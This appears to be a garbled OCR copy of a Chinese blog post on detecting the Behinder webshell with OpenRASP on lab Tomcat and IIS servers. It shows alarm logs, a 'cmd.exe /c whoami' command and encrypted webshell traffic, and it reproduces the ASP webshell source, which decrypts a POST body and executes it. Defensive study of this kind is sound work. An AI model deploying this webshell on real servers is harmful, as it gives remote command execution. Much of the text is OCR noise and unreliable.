servlet.http.HttpServlet.service(HttpServlet.java:733)",
.apache.catalina.core.ApplicationFilterChain. internalDoFilter(ApplicationFilterChain.java:231)"
g.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)",
1.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)",
.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)"
.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
.apache.catalina.filters.SetCharacterEncodingFilter.doFilter(SetCharacterEncodingFilter.java:1
‘apa(hp,(atalina_corp_nppli(arionFilrpnthsin.inTannlLaFiltor{npplicationkiltpnthain.jnua:1Q1)“
.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)",
1.apache.catalina.core.StandardWrapperValve. invoke (StandardWrapperValve.java:199)",
g.apache.catalina.core.StandardContextValve. invoke (StandardContextValve. java )
.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:543)",
.apache.catalina.core.StandardHostValve.invoke(5tandardHostValve.java:139)",
.apache.catalina. res.ErrorReportValve. invoke (ErrorfeportValve.java:81)",
.apache.catalina. re.java:690) ",
.apache.catalina.
g.apache.catalina.connector.CoyoteAdapter. service(CoyoteAdapt
apache.coyote.httpll.HttpllPr ssor.servi (Ht r 5 ava:615)",
.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)",
.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:818)",
j.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1626)",
.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)",

.util.concurrent.ThreadPoolExecutor$Worker . run(Unknown Source)”,
"org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)",
"java.lang.Thread.run{Unknown Source)"],"env":[], "command”:"cmd.exe /c whoami”},"parameter™:
"multipart” 1%,

son™:"{

C
"attack_source”:"192.168.81.128",

rver_nic”:[{"name":"eth3",
ip*:"192.168.81.130"}], "intercept_sta :"log”,
"plugin_confidence™:100, "plugin_algorith command_reflect™,
"plugin_name”:"official”,
“server_hostname" : “WIN-CHTN2KS1A9M™,
"url”:"http://192.168.81.130:8080/examples/shell. jsp”,
"target™:"192.168.81.130",

ader “"content-length™:"9112",
“cookie™: " JSESSIONID\uP@3d1EAE4A674CC151858B511A5DC1B1FST7F",
“host™:"192.168.81.130:8080",
"content-type”:"text/html; charset\ud@3dutf-8",




HATTLLEZI, OpenRASP IEMET B, KIERIHE TS "cmd.exe /c whoami” ,

1B RS :
K _FEEE IR =288, 15 netrebeyond.behinder iX=Z28&ZE¥EEE, B2
BABEREREREXNERTLASA.

EERANN TR OpenRASP HIRSITHAESFAIIAI, OpenRASP HIIGBEERS 2
JavaScript IESCIIRY, RREEATEAZEE ENEFE. BA NIt ERmMREE:

~ At ZiEERA Javascript FREFSCHRERZIE?

K, OpenRASPEIZHF NodeJS. Python, Ruby, Golang. DotNet EZ2MHARIES. N T EHBEAR
A ESFHLIMENSEE, RIVAESINGHRSR. EESEMEEARES, REANECENRY (18t
Flua) , FFARISIHE,

BAHENBIEIE <tomcatroot>/rasp/plugins/official js 1, BE(IEEEXNSUEFHHRET
TR RIS



4r officialjs

.Reflect.in

userCode » reachedInvoke

o LARRIZH e EFa0RAE, a0: fastjson RFFFIH. ElasticSearch Groovy B9 RCE
%, ZSUHSE 866 1TEAITKEIT "IKiB" RO :

net.rebeyond.behinder.payload.java.Cmd.RunCMD

KA NFSHE T REE RunCMD,

ERPRANILEBA R B BEAKIEGHENEE (FRESARRRRIERE, FEBRM) . FHNRF

T Ll e~ ~a A~ =D L Ll Al s\ ] LA — A e LL 1A SEul



Z4Ze RUNCMD BRZSHIRFRFLA) LARKIE OpenRASE BIF,
(EBUSESYES

HIMEBSFREBEETRE, FHERSEEFH alarm.log HEZHEEERER.
ZRFimih{T whoami:
@ http://192.168. 81. 130:8080/cxanples/shell. - O] x|

URL: |http://192. 168. 81. 130:8080/exanples/shell. jsp EEE
EXES DYMIT | S| ST | Socks U8 | E3lshell | HIBEEE | BEXKB| ESR | BHES |

Jsp

RrE
= AT 5Bl K48 v2, 0.1 | By rebeyond

fR55im OpenRASP TEENEIZFa<SHIT, SEHTEAZ:



® C:\apache—tomcat—8.5. 57\rasp\logs\alara\alara. log — Subline Text
File Edit Selection Find View Goto Tools Project Preferences Help

<) alarm.log

0x04 ASP 7=



SRRV

1£ ASP hRANHY Webshell BN\,

BATERERBN SRR TERS RS

htip://192.168. 81. 130:81/shell. asp A vz 0.1 -|10] x
URL: |[http://192. 168. 81. 130:81/shell. asp Failed!
ETEL [ﬁ'%ﬂl.ﬁl WHEE | HIEEER | AEXNABR| 55F | BHae | |
=
TR RB KM, FIEER?

E
BEBLRRER: ZARRER, EBHEIR? 788 v2.0.1| By rebeyond

HAIMBET:




GET /shell.asp?k5nQy3B=T00GHC7E&ZXSHLY=DLqileq&iYONoPZ=RCIKGEPASS=2PE3ICRZDN jnly=nUF tZv&F pGSa=PX1Arov&j87gp=Busdvur HTTP/1.1 =
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.08.3987.132 safari/
537.36 OPR/67.0.3575.79

Host: 192.168.81.130:81

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

connection: keep-alive

HTTP/1.1 500 Internal Server Error
ache-Control: private
Content-Type: text/html
server: Microsoft-I115/7.5
Set-Cookie: ASPSESSIONIDQSBTSTQT=BHHPCMEAKLLFLCFOOMGPMBOA; path=/
pate: Thu, 23 Jul 2020 @9:42:31 GMT
Content-Length: 1141

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" “http://www.w3.org/TR/xhtwl1/DTD/xhtmll-strict.dtd">
chtml xmlns="http://vwem.w3.org/ 1999/ xhtml" >

<head>
emeta http-equiv="content-Type” content="text/html; charset=gbh2312"/>
ctitle>sen - ......eninna-.-aEftitle>

¢style type="textfcss™>
¢l--
body{margin:@;font-size:.7em;font-family:verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:® 15px 10px 15px;}
hi{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CCo000; }
h3{font-size:1.2em;margin:10px @ © 8;color:#000000;}
#header{width:96%;margin:0 © 0 &;padding:6px 2% 6px 2%;font-family:"trebuchet Ms", verdana, sans-serifj;color:#FFF;
background-color:#555555; }
#content{margin:@ © @ 2X;position:relative;}
content-container{background :#FFF ;width:96%;margin- top :8px;padding: 10px ;position:relative;}
-->
¢/style>
¢</head>
<body >
cdiv id="header”><hl»..........¢/h1x¢/divy
¢div id="content">
<div class="content-container”s><fieldset>

ARSSImREPAZSES 500, ARSSIRAEMEIR.



HEUXMAURRER AR GET 1I53KT, FIMERSE (FUAN pass NFR) B2EFE.

AV



CharsSet "UTF-8"
ServerVariables ("REQUEST_METHOD" )="GET" Request .QueryString(“pass™)

RANDOMIZE
k=Hex((255-17)*rnd+16)+k

TotalBytes
content-Reguest.BinaryRead(size)
i size
result-resultiChr(ascb(midb(content,i,1)) Asc(Mid(k, (i

execute(result)

%>

EIRhRA T pass RUERRENL 3 (#8F, £ C# IEEFEHFTLUEA If FIRFRISME (0
False, HE&HFA True) . (BRAEFKIMIESRAT pass FHEN T MEENIRE N T HEIF
freR, C# prfFERsRBITLAIEN If BOFIMSRY, SHESREIAILECHITEIR



@ _J." ]ff,"l http://127.0.0.1:81/shell. asp?pass=abcl

L0 WEE @ http://127.0.0.1:81/shell. asp. ..

Microsoft VBScript i2{THHEZ $#12 '800a000d'
H AR ICE. '[string: "abc1")'

fshell.asp, 1T 3

BAIHEE Webshell FHHECT, #IBT pass BHER AT FRFERIARRLRIRT,

shell.asp

Les (“REQUEST_METHOD")~"GET* (Request

RANDOMIZE
k=Hex((255-17)*rnd+16

Session("k") -k
response.write(k)

k-Session{"k")

size-Re t.TotalBytes

content-Reque BinaryRead(size)
i=1 size

result-resultiChr(ascb(midb(content,i,1)) Asc(Mid(k, (i




' execute(result)

%>

IEITEER

\

@ N |‘2== http://127.0.0.1:81/shell. asp7pass=abc]

;MR @ nttp://127.0.0.1:81/shell. asp.. . I |

986929548022566A



& http://192.168. 81. 130:81/shell. asp A4 v2.0.1 -] x|

URL: fhttp://192.168. 81.130:81/shell. asp BEEsk
EAES |SohiT| x| aRREE | aryke| s8R | Bnine |

R F 3RS

R %5 £8 4:192.168.81.130

fiEt %5 2%ip:192.168.81.130

AR %5 %% 1 :81

iR & #E A 17:3.998

R % 22 B+ 1d]:2020/7/23 17:52:36

fiE % 22914 :Microsoft-1IS/7.5

B At B B 181290

i %5 2% cpufi i1

fif %5 2% cpuif 1 :Intel64 Family 6 Model 165 Stepping 2, Genuinelntel
fif % $2 ¥ F 3 5t:Windows NT(f T 22 windows2003 H%)

fiE % 22 #%1% 3| % :VBScript/5.8.17514

& 304 S5 B8 42 C:\inetpub\wwwrroot\shell.asp

ﬁESvslemRoot: C:\Windows hd|
BAEEERERMN, {RO[CLfEMACTRL+FHITIVE 748 v2.0.1 | By rebeyond

header FfY Content-Type

ASP [RZAHILLRIERER JSP WAER], EEEiEERHR, EFRimiIEKEHHY Content-Type
79 application/octet-stream , B]&% JSP fRAAVEKIEREE,

IEBURRIZER :




POST i53K:

AR7939649032667AP0ST /shell.asp HTTP/1.1

content-Type: text/html; charset=utf-g |

Cookie: ASPSESSIONIDQCBERRAB=BCHPKCFBCCOBNLHOBIECCAEBR

aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/s5.0 (Android 6.@; Mobile; rvi68.0) Gecko/68.0 Firefox/68.0
cache-control: no-cache

Pragma: no-cache

Host: 192.168.81.130:81

Connection: keep-alive

Content-Length: B328

\AT. [WGPSZ\PY. %3QA\ . PE@Q. SFEDSYS. YCQ. VEJWV\BUCE3SVCIRMA  jUADSD. . HEXGQ..... BYE~/"'W

KVHCQID. ASDASINVKZXTX\C. . YE. hK2qL ] ZB] v . wXUEBIL . ] RMW. 3[ VK. eR22QXW. . ]. . :@[ LS

-$W. JRMW. 3v\@.

palx.@PLO3U]QDOGS. |DL_M. QWSAKFBed2M[ M. ZAF[ . RAU. Z(%.SXGX. .. ... nX3ayDZ.t P.[VK..%a VS........... =,

$@C3VWUF@EG. SXT3BHCkVICKM : v\ R. qa/ [ CP\ W< > . E]QB_X/azWIV. .qWS\VS.D.$@C.9. .. . t7_.Yo.

0x05 Rzt

FEERELRNEZRR, ERFERE "Kig" BISEHRNEE. EX HW KifZfritiTE
#, TR RIBBL AL E R R T ERE. S S5 HW RIS HW IR !




mi FEER, BF (K8, MADEIEX) piE:



http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247485811&idx=1&sn=dfe68ca403b7009e2f41e622dd2b690f&chksm=9b392fc2ac4ea6d4928862c877c8b8950f8dfea197b8186ba6b467a77f94ad6bb93a94d63a9a&scene=21#wechat_redirect



http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247485811&idx=1&sn=dfe68ca403b7009e2f41e622dd2b690f&chksm=9b392fc2ac4ea6d4928862c877c8b8950f8dfea197b8186ba6b467a77f94ad6bb93a94d63a9a&scene=21#wechat_redirect

